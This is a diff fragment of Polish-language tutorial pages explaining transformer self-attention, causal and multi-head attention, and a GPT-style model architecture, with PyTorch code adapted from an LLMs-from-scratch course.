> Nie zgub się w terminach matematycznych, cel tej funkcji jest prosty, znormalizować wszystkie wagi, aby **suma wynosiła 1**.
|
||||
>
|
||||
> Ponadto, funkcja **softmax** jest używana, ponieważ uwydatnia różnice dzięki części wykładniczej, co ułatwia wykrywanie użytecznych wartości.
|
||||
|
||||
Zastosuj funkcję **softmax** do wyników uwagowych, aby przekształcić je w wagi uwagowe, które sumują się do 1.
|
||||
|
||||
<figure><img src="../../images/image (3) (1) (1) (1) (1).png" alt="" width="293"><figcaption></figcaption></figure>
|
||||
|
||||
Obliczanie wykładników:
|
||||
|
||||
<figure><img src="../../images/image (4) (1) (1) (1).png" alt="" width="249"><figcaption></figcaption></figure>
|
||||
|
||||
Obliczanie sumy:
|
||||
|
||||
<figure><img src="../../images/image (5) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
Obliczanie wag uwagowych:
|
||||
|
||||
<figure><img src="../../images/image (6) (1) (1).png" alt="" width="404"><figcaption></figcaption></figure>
|
||||
|
||||
#### Krok 3: Obliczanie Wektora Kontekstowego
|
||||
|
||||
> [!TIP]
|
||||
> Po prostu weź każdą wagę uwagową i pomnóż ją przez odpowiednie wymiary tokenu, a następnie zsumuj wszystkie wymiary, aby uzyskać tylko 1 wektor (wektor kontekstowy)
|
||||
|
||||
**Wektor kontekstowy** jest obliczany jako ważona suma osadzeń wszystkich słów, przy użyciu wag uwagowych.
|
||||
|
||||
<figure><img src="../../images/image (16).png" alt="" width="369"><figcaption></figcaption></figure>
|
||||
|
||||
Obliczanie każdego składnika:
|
||||
|
||||
- **Ważone Osadzenie "Hello"**:
|
||||
|
||||
<figure><img src="../../images/image (7) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- **Ważone Osadzenie "shiny"**:
|
||||
|
||||
<figure><img src="../../images/image (8) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- **Ważone Osadzenie "sun"**:
|
||||
|
||||
<figure><img src="../../images/image (9) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Sumując ważone osadzenia:
|
||||
|
||||
`wektor kontekstowy=[0.0779+0.2156+0.1057, 0.0504+0.1382+0.1972, 0.1237+0.3983+0.3390]=[0.3992,0.3858,0.8610]`
|
||||
|
||||
**Ten wektor kontekstowy reprezentuje wzbogacone osadzenie dla słowa "shiny", uwzględniając informacje ze wszystkich słów w zdaniu.**
|
||||
|
||||
### Podsumowanie Procesu
|
||||
|
||||
1. **Oblicz Wyniki Uwagowe**: Użyj iloczynu skalarnego między osadzeniem docelowego słowa a osadzeniami wszystkich słów w sekwencji.
|
||||
2. **Normalizuj Wyniki, aby Uzyskać Wagi Uwagowe**: Zastosuj funkcję softmax do wyników uwagowych, aby uzyskać wagi, które sumują się do 1.
|
||||
3. **Oblicz Wektor Kontekstowy**: Pomnóż osadzenie każdego słowa przez jego wagę uwagową i zsumuj wyniki.
|
||||
|
||||
## Samo-Uwaga z Uczonymi Wagami
|
||||
|
||||
W praktyce mechanizmy samo-uwagi używają **uczących się wag**, aby nauczyć się najlepszych reprezentacji dla zapytań, kluczy i wartości. Obejmuje to wprowadzenie trzech macierzy wag:
|
||||
|
||||
<figure><img src="../../images/image (10) (1) (1).png" alt="" width="239"><figcaption></figcaption></figure>
|
||||
|
||||
Zapytanie to dane do użycia jak wcześniej, podczas gdy macierze kluczy i wartości to po prostu losowe macierze do uczenia.
|
||||
|
||||
#### Krok 1: Obliczanie Zapytania, Kluczy i Wartości
|
||||
|
||||
Każdy token będzie miał swoją własną macierz zapytania, klucza i wartości, mnożąc swoje wartości wymiarowe przez zdefiniowane macierze:
|
||||
|
||||
<figure><img src="../../images/image (11).png" alt="" width="253"><figcaption></figcaption></figure>
|
||||
|
||||
Te macierze przekształcają oryginalne osadzenia w nową przestrzeń odpowiednią do obliczania uwagi.
|
||||
|
||||
**Przykład**
|
||||
|
||||
Zakładając:
|
||||
|
||||
- Wymiar wejściowy `din=3` (rozmiar osadzenia)
|
||||
- Wymiar wyjściowy `dout=2` (pożądany wymiar dla zapytań, kluczy i wartości)
|
||||
|
||||
Zainicjuj macierze wag:
|
||||
```python
|
||||
import torch.nn as nn
|
||||
|
||||
d_in = 3
|
||||
d_out = 2
|
||||
|
||||
W_query = nn.Parameter(torch.rand(d_in, d_out))
|
||||
W_key = nn.Parameter(torch.rand(d_in, d_out))
|
||||
W_value = nn.Parameter(torch.rand(d_in, d_out))
|
||||
```
|
||||
Oblicz zapytania, klucze i wartości:
|
||||
```python
|
||||
queries = torch.matmul(inputs, W_query)
|
||||
keys = torch.matmul(inputs, W_key)
|
||||
values = torch.matmul(inputs, W_value)
|
||||
```
|
||||
#### Krok 2: Obliczanie uwagi z wykorzystaniem skalowanego iloczynu skalarnego
|
||||
|
||||
**Obliczanie wyników uwagi**
|
||||
|
||||
Podobnie jak w poprzednim przykładzie, ale tym razem, zamiast używać wartości wymiarów tokenów, używamy macierzy kluczy tokenu (już obliczonej przy użyciu wymiarów):. Tak więc, dla każdego zapytania `qi` i klucza `kj`:
|
||||
|
||||
<figure><img src="../../images/image (12).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Skalowanie wyników**
|
||||
|
||||
Aby zapobiec zbyt dużym iloczynom skalarnym, skaluj je przez pierwiastek kwadratowy z wymiaru klucza `dk`:
|
||||
|
||||
<figure><img src="../../images/image (13).png" alt="" width="295"><figcaption></figcaption></figure>
|
||||
|
||||
> [!TIP]
|
||||
> Wynik jest dzielony przez pierwiastek kwadratowy z wymiarów, ponieważ iloczyny skalarne mogą stać się bardzo duże, a to pomaga je regulować.
|
||||
|
||||
**Zastosuj Softmax, aby uzyskać wagi uwagi:** Jak w początkowym przykładzie, znormalizuj wszystkie wartości, aby ich suma wynosiła 1.
|
||||
|
||||
<figure><img src="../../images/image (14).png" alt="" width="295"><figcaption></figcaption></figure>
|
||||
|
||||
#### Krok 3: Obliczanie wektorów kontekstu
|
||||
|
||||
Jak w początkowym przykładzie, po prostu zsumuj wszystkie macierze wartości, mnożąc każdą z nich przez jej wagę uwagi:
|
||||
|
||||
<figure><img src="../../images/image (15).png" alt="" width="328"><figcaption></figcaption></figure>
|
||||
|
||||
### Przykład kodu
|
||||
|
||||
Biorąc przykład z [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb), możesz sprawdzić tę klasę, która implementuje funkcjonalność samouważności, o której rozmawialiśmy:
|
||||
```python
|
||||
import torch
|
||||
|
||||
inputs = torch.tensor(
|
||||
[[0.43, 0.15, 0.89], # Your (x^1)
|
||||
[0.55, 0.87, 0.66], # journey (x^2)
|
||||
[0.57, 0.85, 0.64], # starts (x^3)
|
||||
[0.22, 0.58, 0.33], # with (x^4)
|
||||
[0.77, 0.25, 0.10], # one (x^5)
|
||||
[0.05, 0.80, 0.55]] # step (x^6)
|
||||
)
|
||||
|
||||
import torch.nn as nn
|
||||
class SelfAttention_v2(nn.Module):
|
||||
|
||||
def __init__(self, d_in, d_out, qkv_bias=False):
|
||||
super().__init__()
|
||||
self.W_query = nn.Linear(d_in, d_out, bias=qkv_bias)
|
||||
self.W_key = nn.Linear(d_in, d_out, bias=qkv_bias)
|
||||
self.W_value = nn.Linear(d_in, d_out, bias=qkv_bias)
|
||||
|
||||
def forward(self, x):
|
||||
keys = self.W_key(x)
|
||||
queries = self.W_query(x)
|
||||
values = self.W_value(x)
|
||||
|
||||
attn_scores = queries @ keys.T
|
||||
attn_weights = torch.softmax(attn_scores / keys.shape[-1]**0.5, dim=-1)
|
||||
|
||||
context_vec = attn_weights @ values
|
||||
return context_vec
|
||||
|
||||
d_in=3
|
||||
d_out=2
|
||||
torch.manual_seed(789)
|
||||
sa_v2 = SelfAttention_v2(d_in, d_out)
|
||||
print(sa_v2(inputs))
|
||||
```
|
||||
> [!NOTE]
|
||||
> Zauważ, że zamiast inicjować macierze losowymi wartościami, używa się `nn.Linear`, aby oznaczyć wszystkie wagi jako parametry do trenowania.
|
||||
|
||||
## Causal Attention: Ukrywanie Przyszłych Słów
|
||||
|
||||
Dla LLM-ów chcemy, aby model brał pod uwagę tylko tokeny, które pojawiają się przed bieżącą pozycją, aby **przewidzieć następny token**. **Causal attention**, znane również jako **masked attention**, osiąga to poprzez modyfikację mechanizmu uwagi, aby zapobiec dostępowi do przyszłych tokenów.
|
||||
|
||||
### Zastosowanie Maski Causal Attention
|
||||
|
||||
Aby wdrożyć causal attention, stosujemy maskę do wyników uwagi **przed operacją softmax**, aby pozostałe sumowały się do 1. Ta maska ustawia wyniki uwagi przyszłych tokenów na minus nieskończoność, zapewniając, że po softmax ich wagi uwagi wynoszą zero.
|
||||
|
||||
**Kroki**
|
||||
|
||||
1. **Oblicz Wyniki Uwagi**: Tak jak wcześniej.
|
||||
2. **Zastosuj Maskę**: Użyj macierzy górnej trójkątnej wypełnionej minus nieskończonością powyżej przekątnej.
|
||||
|
||||
```python
|
||||
mask = torch.triu(torch.ones(seq_len, seq_len), diagonal=1) * float('-inf')
|
||||
masked_scores = attention_scores + mask
|
||||
```
|
||||
|
||||
3. **Zastosuj Softmax**: Oblicz wagi uwagi, używając zamaskowanych wyników.
|
||||
|
||||
```python
|
||||
attention_weights = torch.softmax(masked_scores, dim=-1)
|
||||
```
|
||||
|
||||
### Maskowanie Dodatkowych Wag Uwagi z Dropout
|
||||
|
||||
Aby **zapobiec przeuczeniu**, możemy zastosować **dropout** do wag uwagi po operacji softmax. Dropout **losowo zeruje niektóre z wag uwagi** podczas treningu.
|
||||
```python
|
||||
dropout = nn.Dropout(p=0.5)
|
||||
attention_weights = dropout(attention_weights)
|
||||
```
|
||||
Zwykła wartość dropout wynosi około 10-20%.
|
||||
|
||||
### Code Example
|
||||
|
||||
Code example from [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb):
|
||||
```python
|
||||
import torch
|
||||
import torch.nn as nn
|
||||
|
||||
inputs = torch.tensor(
|
||||
[[0.43, 0.15, 0.89], # Your (x^1)
|
||||
[0.55, 0.87, 0.66], # journey (x^2)
|
||||
[0.57, 0.85, 0.64], # starts (x^3)
|
||||
[0.22, 0.58, 0.33], # with (x^4)
|
||||
[0.77, 0.25, 0.10], # one (x^5)
|
||||
[0.05, 0.80, 0.55]] # step (x^6)
|
||||
)
|
||||
|
||||
batch = torch.stack((inputs, inputs), dim=0)
|
||||
print(batch.shape)
|
||||
|
||||
class CausalAttention(nn.Module):
|
||||
|
||||
def __init__(self, d_in, d_out, context_length,
|
||||
dropout, qkv_bias=False):
|
||||
super().__init__()
|
||||
self.d_out = d_out
|
||||
self.W_query = nn.Linear(d_in, d_out, bias=qkv_bias)
|
||||
self.W_key = nn.Linear(d_in, d_out, bias=qkv_bias)
|
||||
self.W_value = nn.Linear(d_in, d_out, bias=qkv_bias)
|
||||
self.dropout = nn.Dropout(dropout)
|
||||
self.register_buffer('mask', torch.triu(torch.ones(context_length, context_length), diagonal=1)) # New
|
||||
|
||||
def forward(self, x):
|
||||
b, num_tokens, d_in = x.shape
|
||||
# b is the num of batches
|
||||
# num_tokens is the number of tokens per batch
|
||||
# d_in is the dimensions er token
|
||||
|
||||
keys = self.W_key(x) # This generates the keys of the tokens
|
||||
queries = self.W_query(x)
|
||||
values = self.W_value(x)
|
||||
|
||||
attn_scores = queries @ keys.transpose(1, 2) # Moves the third dimension to the second one and the second one to the third one to be able to multiply
|
||||
attn_scores.masked_fill_( # New, _ ops are in-place
|
||||
self.mask.bool()[:num_tokens, :num_tokens], -torch.inf) # `:num_tokens` to account for cases where the number of tokens in the batch is smaller than the supported context_size
|
||||
attn_weights = torch.softmax(
|
||||
attn_scores / keys.shape[-1]**0.5, dim=-1
|
||||
)
|
||||
attn_weights = self.dropout(attn_weights)
|
||||
|
||||
context_vec = attn_weights @ values
|
||||
return context_vec
|
||||
|
||||
torch.manual_seed(123)
|
||||
|
||||
context_length = batch.shape[1]
|
||||
d_in = 3
|
||||
d_out = 2
|
||||
ca = CausalAttention(d_in, d_out, context_length, 0.0)
|
||||
|
||||
context_vecs = ca(batch)
|
||||
|
||||
print(context_vecs)
|
||||
print("context_vecs.shape:", context_vecs.shape)
|
||||
```
|
||||
## Rozszerzanie uwagi z pojedynczą głową na uwagę z wieloma głowami
|
||||
|
||||
**Uwaga z wieloma głowami** w praktyce polega na wykonywaniu **wielu instancji** funkcji uwagi własnej, z których każda ma **swoje własne wagi**, dzięki czemu obliczane są różne wektory końcowe.
|
||||
|
||||
### Przykład kodu
|
||||
|
||||
Możliwe byłoby ponowne wykorzystanie poprzedniego kodu i dodanie tylko opakowania, które uruchamia go kilka razy, ale to jest bardziej zoptymalizowana wersja z [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb), która przetwarza wszystkie głowy jednocześnie (zmniejszając liczbę kosztownych pętli for). Jak widać w kodzie, wymiary każdego tokena są dzielone na różne wymiary w zależności od liczby głów. W ten sposób, jeśli token ma 8 wymiarów i chcemy użyć 3 głów, wymiary będą podzielone na 2 tablice po 4 wymiary, a każda głowa użyje jednej z nich:
|
||||
```python
|
||||
class MultiHeadAttention(nn.Module):
|
||||
def __init__(self, d_in, d_out, context_length, dropout, num_heads, qkv_bias=False):
|
||||
super().__init__()
|
||||
assert (d_out % num_heads == 0), \
|
||||
"d_out must be divisible by num_heads"
|
||||
|
||||
self.d_out = d_out
|
||||
self.num_heads = num_heads
|
||||
self.head_dim = d_out // num_heads # Reduce the projection dim to match desired output dim
|
||||
|
||||
self.W_query = nn.Linear(d_in, d_out, bias=qkv_bias)
|
||||
self.W_key = nn.Linear(d_in, d_out, bias=qkv_bias)
|
||||
self.W_value = nn.Linear(d_in, d_out, bias=qkv_bias)
|
||||
self.out_proj = nn.Linear(d_out, d_out) # Linear layer to combine head outputs
|
||||
self.dropout = nn.Dropout(dropout)
|
||||
self.register_buffer(
|
||||
"mask",
|
||||
torch.triu(torch.ones(context_length, context_length),
|
||||
diagonal=1)
|
||||
)
|
||||
|
||||
def forward(self, x):
|
||||
b, num_tokens, d_in = x.shape
|
||||
# b is the num of batches
|
||||
# num_tokens is the number of tokens per batch
|
||||
# d_in is the dimensions er token
|
||||
|
||||
keys = self.W_key(x) # Shape: (b, num_tokens, d_out)
|
||||
queries = self.W_query(x)
|
||||
values = self.W_value(x)
|
||||
|
||||
# We implicitly split the matrix by adding a `num_heads` dimension
|
||||
# Unroll last dim: (b, num_tokens, d_out) -> (b, num_tokens, num_heads, head_dim)
|
||||
keys = keys.view(b, num_tokens, self.num_heads, self.head_dim)
|
||||
values = values.view(b, num_tokens, self.num_heads, self.head_dim)
|
||||
queries = queries.view(b, num_tokens, self.num_heads, self.head_dim)
|
||||
|
||||
# Transpose: (b, num_tokens, num_heads, head_dim) -> (b, num_heads, num_tokens, head_dim)
|
||||
keys = keys.transpose(1, 2)
|
||||
queries = queries.transpose(1, 2)
|
||||
values = values.transpose(1, 2)
|
||||
|
||||
# Compute scaled dot-product attention (aka self-attention) with a causal mask
|
||||
attn_scores = queries @ keys.transpose(2, 3) # Dot product for each head
|
||||
|
||||
# Original mask truncated to the number of tokens and converted to boolean
|
||||
mask_bool = self.mask.bool()[:num_tokens, :num_tokens]
|
||||
|
||||
# Use the mask to fill attention scores
|
||||
attn_scores.masked_fill_(mask_bool, -torch.inf)
|
||||
|
||||
attn_weights = torch.softmax(attn_scores / keys.shape[-1]**0.5, dim=-1)
|
||||
attn_weights = self.dropout(attn_weights)
|
||||
|
||||
# Shape: (b, num_tokens, num_heads, head_dim)
|
||||
context_vec = (attn_weights @ values).transpose(1, 2)
|
||||
|
||||
# Combine heads, where self.d_out = self.num_heads * self.head_dim
|
||||
context_vec = context_vec.contiguous().view(b, num_tokens, self.d_out)
|
||||
context_vec = self.out_proj(context_vec) # optional projection
|
||||
|
||||
return context_vec
|
||||
|
||||
torch.manual_seed(123)
|
||||
|
||||
batch_size, context_length, d_in = batch.shape
|
||||
d_out = 2
|
||||
mha = MultiHeadAttention(d_in, d_out, context_length, 0.0, num_heads=2)
|
||||
|
||||
context_vecs = mha(batch)
|
||||
|
||||
print(context_vecs)
|
||||
print("context_vecs.shape:", context_vecs.shape)
|
||||
|
||||
```
|
||||
Dla innej kompaktowej i wydajnej implementacji możesz użyć klasy [`torch.nn.MultiheadAttention`](https://pytorch.org/docs/stable/generated/torch.nn.MultiheadAttention.html) w PyTorch.
|
||||
|
||||
> [!TIP]
|
||||
> Krótka odpowiedź ChatGPT na pytanie, dlaczego lepiej jest podzielić wymiary tokenów między głowami, zamiast pozwalać każdej głowie sprawdzać wszystkie wymiary wszystkich tokenów:
|
||||
>
|
||||
> Chociaż pozwolenie każdej głowie na przetwarzanie wszystkich wymiarów osadzenia może wydawać się korzystne, ponieważ każda głowa miałaby dostęp do pełnych informacji, standardową praktyką jest **podział wymiarów osadzenia między głowami**. Takie podejście równoważy wydajność obliczeniową z wydajnością modelu i zachęca każdą głowę do uczenia się różnorodnych reprezentacji. Dlatego podział wymiarów osadzenia jest zazwyczaj preferowany w porównaniu do pozwolenia każdej głowie na sprawdzanie wszystkich wymiarów.
|
||||
|
||||
## References
|
||||
|
||||
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
|
@ -1,666 +0,0 @@
|
||||
# 5. Architektura LLM
|
||||
|
||||
## Architektura LLM
|
||||
|
||||
> [!TIP]
|
||||
> Celem tej piątej fazy jest bardzo prosty: **Opracowanie architektury pełnego LLM**. Połącz wszystko, zastosuj wszystkie warstwy i stwórz wszystkie funkcje do generowania tekstu lub przekształcania tekstu na identyfikatory i z powrotem.
|
||||
>
|
||||
> Ta architektura będzie używana zarówno do treningu, jak i przewidywania tekstu po jego wytrenowaniu.
|
||||
|
||||
Przykład architektury LLM z [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb):
|
||||
|
||||
Wysokopoziomowa reprezentacja może być obserwowana w:
|
||||
|
||||
<figure><img src="../../images/image (3) (1) (1) (1).png" alt="" width="563"><figcaption><p><a href="https://camo.githubusercontent.com/6c8c392f72d5b9e86c94aeb9470beab435b888d24135926f1746eb88e0cc18fb/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830345f636f6d707265737365642f31332e776562703f31">https://camo.githubusercontent.com/6c8c392f72d5b9e86c94aeb9470beab435b888d24135926f1746eb88e0cc18fb/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830345f636f6d707265737365642f31332e776562703f31</a></p></figcaption></figure>
|
||||
|
||||
1. **Wejście (Tokenizowany tekst)**: Proces zaczyna się od tokenizowanego tekstu, który jest przekształcany w reprezentacje numeryczne.
|
||||
2. **Warstwa osadzenia tokenów i warstwa osadzenia pozycyjnego**: Tokenizowany tekst przechodzi przez warstwę **osadzenia tokenów** i warstwę **osadzenia pozycyjnego**, które uchwycają pozycję tokenów w sekwencji, co jest kluczowe dla zrozumienia kolejności słów.
|
||||
3. **Bloki transformatorowe**: Model zawiera **12 bloków transformatorowych**, z których każdy ma wiele warstw. Te bloki powtarzają następującą sekwencję:
|
||||
- **Maskowana wielogłowa uwaga**: Pozwala modelowi skupić się na różnych częściach tekstu wejściowego jednocześnie.
|
||||
- **Normalizacja warstwy**: Krok normalizacji w celu stabilizacji i poprawy treningu.
|
||||
- **Warstwa feed forward**: Odpowiedzialna za przetwarzanie informacji z warstwy uwagi i dokonywanie prognoz dotyczących następnego tokenu.
|
||||
- **Warstwy dropout**: Te warstwy zapobiegają przeuczeniu, losowo eliminując jednostki podczas treningu.
|
||||
4. **Ostateczna warstwa wyjściowa**: Model generuje **tensor o wymiarach 4x50,257**, gdzie **50,257** reprezentuje rozmiar słownika. Każdy wiersz w tym tensorze odpowiada wektorowi, który model wykorzystuje do przewidywania następnego słowa w sekwencji.
|
||||
5. **Cel**: Celem jest wzięcie tych osadzeń i przekształcenie ich z powrotem w tekst. Konkretnie, ostatni wiersz wyjścia jest używany do generowania następnego słowa, reprezentowanego jako "forward" w tym diagramie.
|
||||
|
||||
### Reprezentacja kodu
|
||||
```python
|
||||
import torch
|
||||
import torch.nn as nn
|
||||
import tiktoken
|
||||
|
||||
class GELU(nn.Module):
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
|
||||
def forward(self, x):
|
||||
return 0.5 * x * (1 + torch.tanh(
|
||||
torch.sqrt(torch.tensor(2.0 / torch.pi)) *
|
||||
(x + 0.044715 * torch.pow(x, 3))
|
||||
))
|
||||
|
||||
class FeedForward(nn.Module):
|
||||
def __init__(self, cfg):
|
||||
super().__init__()
|
||||
self.layers = nn.Sequential(
|
||||
nn.Linear(cfg["emb_dim"], 4 * cfg["emb_dim"]),
|
||||
GELU(),
|
||||
nn.Linear(4 * cfg["emb_dim"], cfg["emb_dim"]),
|
||||
)
|
||||
|
||||
def forward(self, x):
|
||||
return self.layers(x)
|
||||
|
||||
class MultiHeadAttention(nn.Module):
|
||||
def __init__(self, d_in, d_out, context_length, dropout, num_heads, qkv_bias=False):
|
||||
super().__init__()
|
||||
assert d_out % num_heads == 0, "d_out must be divisible by num_heads"
|
||||
|
||||
self.d_out = d_out
|
||||
self.num_heads = num_heads
|
||||
self.head_dim = d_out // num_heads # Reduce the projection dim to match desired output dim
|
||||
|
||||
self.W_query = nn.Linear(d_in, d_out, bias=qkv_bias)
|
||||
self.W_key = nn.Linear(d_in, d_out, bias=qkv_bias)
|
||||
self.W_value = nn.Linear(d_in, d_out, bias=qkv_bias)
|
||||
self.out_proj = nn.Linear(d_out, d_out) # Linear layer to combine head outputs
|
||||
self.dropout = nn.Dropout(dropout)
|
||||
self.register_buffer('mask', torch.triu(torch.ones(context_length, context_length), diagonal=1))
|
||||
|
||||
def forward(self, x):
|
||||
b, num_tokens, d_in = x.shape
|
||||
|
||||
keys = self.W_key(x) # Shape: (b, num_tokens, d_out)
|
||||
queries = self.W_query(x)
|
||||
values = self.W_value(x)
|
||||
|
||||
# We implicitly split the matrix by adding a `num_heads` dimension
|
||||
# Unroll last dim: (b, num_tokens, d_out) -> (b, num_tokens, num_heads, head_dim)
|
||||
keys = keys.view(b, num_tokens, self.num_heads, self.head_dim)
|
||||
values = values.view(b, num_tokens, self.num_heads, self.head_dim)
|
||||
queries = queries.view(b, num_tokens, self.num_heads, self.head_dim)
|
||||
|
||||
# Transpose: (b, num_tokens, num_heads, head_dim) -> (b, num_heads, num_tokens, head_dim)
|
||||
keys = keys.transpose(1, 2)
|
||||
queries = queries.transpose(1, 2)
|
||||
values = values.transpose(1, 2)
|
||||
|
||||
# Compute scaled dot-product attention (aka self-attention) with a causal mask
|
||||
attn_scores = queries @ keys.transpose(2, 3) # Dot product for each head
|
||||
|
||||
# Original mask truncated to the number of tokens and converted to boolean
|
||||
mask_bool = self.mask.bool()[:num_tokens, :num_tokens]
|
||||
|
||||
# Use the mask to fill attention scores
|
||||
attn_scores.masked_fill_(mask_bool, -torch.inf)
|
||||
|
||||
attn_weights = torch.softmax(attn_scores / keys.shape[-1]**0.5, dim=-1)
|
||||
attn_weights = self.dropout(attn_weights)
|
||||
|
||||
# Shape: (b, num_tokens, num_heads, head_dim)
|
||||
context_vec = (attn_weights @ values).transpose(1, 2)
|
||||
|
||||
# Combine heads, where self.d_out = self.num_heads * self.head_dim
|
||||
context_vec = context_vec.contiguous().view(b, num_tokens, self.d_out)
|
||||
context_vec = self.out_proj(context_vec) # optional projection
|
||||
|
||||
return context_vec
|
||||
|
||||
class LayerNorm(nn.Module):
|
||||
def __init__(self, emb_dim):
|
||||
super().__init__()
|
||||
self.eps = 1e-5
|
||||
self.scale = nn.Parameter(torch.ones(emb_dim))
|
||||
self.shift = nn.Parameter(torch.zeros(emb_dim))
|
||||
|
||||
def forward(self, x):
|
||||
mean = x.mean(dim=-1, keepdim=True)
|
||||
var = x.var(dim=-1, keepdim=True, unbiased=False)
|
||||
norm_x = (x - mean) / torch.sqrt(var + self.eps)
|
||||
return self.scale * norm_x + self.shift
|
||||
|
||||
class TransformerBlock(nn.Module):
|
||||
def __init__(self, cfg):
|
||||
super().__init__()
|
||||
self.att = MultiHeadAttention(
|
||||
d_in=cfg["emb_dim"],
|
||||
d_out=cfg["emb_dim"],
|
||||
context_length=cfg["context_length"],
|
||||
num_heads=cfg["n_heads"],
|
||||
dropout=cfg["drop_rate"],
|
||||
qkv_bias=cfg["qkv_bias"])
|
||||
self.ff = FeedForward(cfg)
|
||||
self.norm1 = LayerNorm(cfg["emb_dim"])
|
||||
self.norm2 = LayerNorm(cfg["emb_dim"])
|
||||
self.drop_shortcut = nn.Dropout(cfg["drop_rate"])
|
||||
|
||||
def forward(self, x):
|
||||
# Shortcut connection for attention block
|
||||
shortcut = x
|
||||
x = self.norm1(x)
|
||||
x = self.att(x) # Shape [batch_size, num_tokens, emb_size]
|
||||
x = self.drop_shortcut(x)
|
||||
x = x + shortcut # Add the original input back
|
||||
|
||||
# Shortcut connection for feed forward block
|
||||
shortcut = x
|
||||
x = self.norm2(x)
|
||||
x = self.ff(x)
|
||||
x = self.drop_shortcut(x)
|
||||
x = x + shortcut # Add the original input back
|
||||
|
||||
return x
|
||||
|
||||
|
||||
class GPTModel(nn.Module):
|
||||
def __init__(self, cfg):
|
||||
super().__init__()
|
||||
self.tok_emb = nn.Embedding(cfg["vocab_size"], cfg["emb_dim"])
|
||||
self.pos_emb = nn.Embedding(cfg["context_length"], cfg["emb_dim"])
|
||||
self.drop_emb = nn.Dropout(cfg["drop_rate"])
|
||||
|
||||
self.trf_blocks = nn.Sequential(
|
||||
*[TransformerBlock(cfg) for _ in range(cfg["n_layers"])])
|
||||
|
||||
self.final_norm = LayerNorm(cfg["emb_dim"])
|
||||
self.out_head = nn.Linear(
|
||||
cfg["emb_dim"], cfg["vocab_size"], bias=False
|
||||
)
|
||||
|
||||
def forward(self, in_idx):
|
||||
batch_size, seq_len = in_idx.shape
|
||||
tok_embeds = self.tok_emb(in_idx)
|
||||
pos_embeds = self.pos_emb(torch.arange(seq_len, device=in_idx.device))
|
||||
x = tok_embeds + pos_embeds # Shape [batch_size, num_tokens, emb_size]
|
||||
x = self.drop_emb(x)
|
||||
x = self.trf_blocks(x)
|
||||
x = self.final_norm(x)
|
||||
logits = self.out_head(x)
|
||||
return logits
|
||||
|
||||
GPT_CONFIG_124M = {
|
||||
"vocab_size": 50257, # Vocabulary size
|
||||
"context_length": 1024, # Context length
|
||||
"emb_dim": 768, # Embedding dimension
|
||||
"n_heads": 12, # Number of attention heads
|
||||
"n_layers": 12, # Number of layers
|
||||
"drop_rate": 0.1, # Dropout rate
|
||||
"qkv_bias": False # Query-Key-Value bias
|
||||
}
|
||||
|
||||
torch.manual_seed(123)
|
||||
model = GPTModel(GPT_CONFIG_124M)
|
||||
out = model(batch)
|
||||
print("Input batch:\n", batch)
|
||||
print("\nOutput shape:", out.shape)
|
||||
print(out)
|
||||
```
|
||||
### **Funkcja aktywacji GELU**
|
||||
```python
|
||||
# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04
|
||||
class GELU(nn.Module):
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
|
||||
def forward(self, x):
|
||||
return 0.5 * x * (1 + torch.tanh(
|
||||
torch.sqrt(torch.tensor(2.0 / torch.pi)) *
|
||||
(x + 0.044715 * torch.pow(x, 3))
|
||||
))
|
||||
```
|
||||
#### **Cel i Funkcjonalność**
|
||||
|
||||
- **GELU (Gaussian Error Linear Unit):** Funkcja aktywacji, która wprowadza nieliniowość do modelu.
|
||||
- **Gładka Aktywacja:** W przeciwieństwie do ReLU, która zeruje ujemne wejścia, GELU gładko mapuje wejścia na wyjścia, pozwalając na małe, niezerowe wartości dla ujemnych wejść.
|
||||
- **Definicja Matematyczna:**
|
||||
|
||||
<figure><img src="../../images/image (2) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!NOTE]
|
||||
> Celem użycia tej funkcji po warstwach liniowych wewnątrz warstwy FeedForward jest zmiana danych liniowych na nieliniowe, aby umożliwić modelowi uczenie się złożonych, nieliniowych relacji.
|
||||
|
||||
### **Sieć Neuronowa FeedForward**
|
||||
|
||||
_Kształty zostały dodane jako komentarze, aby lepiej zrozumieć kształty macierzy:_
|
||||
```python
|
||||
# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04
|
||||
class FeedForward(nn.Module):
|
||||
def __init__(self, cfg):
|
||||
super().__init__()
|
||||
self.layers = nn.Sequential(
|
||||
nn.Linear(cfg["emb_dim"], 4 * cfg["emb_dim"]),
|
||||
GELU(),
|
||||
nn.Linear(4 * cfg["emb_dim"], cfg["emb_dim"]),
|
||||
)
|
||||
|
||||
def forward(self, x):
|
||||
# x shape: (batch_size, seq_len, emb_dim)
|
||||
|
||||
x = self.layers[0](x)# x shape: (batch_size, seq_len, 4 * emb_dim)
|
||||
x = self.layers[1](x) # x shape remains: (batch_size, seq_len, 4 * emb_dim)
|
||||
x = self.layers[2](x) # x shape: (batch_size, seq_len, emb_dim)
|
||||
return x # Output shape: (batch_size, seq_len, emb_dim)
|
||||
```
|
||||
#### **Cel i Funkcjonalność**
|
||||
|
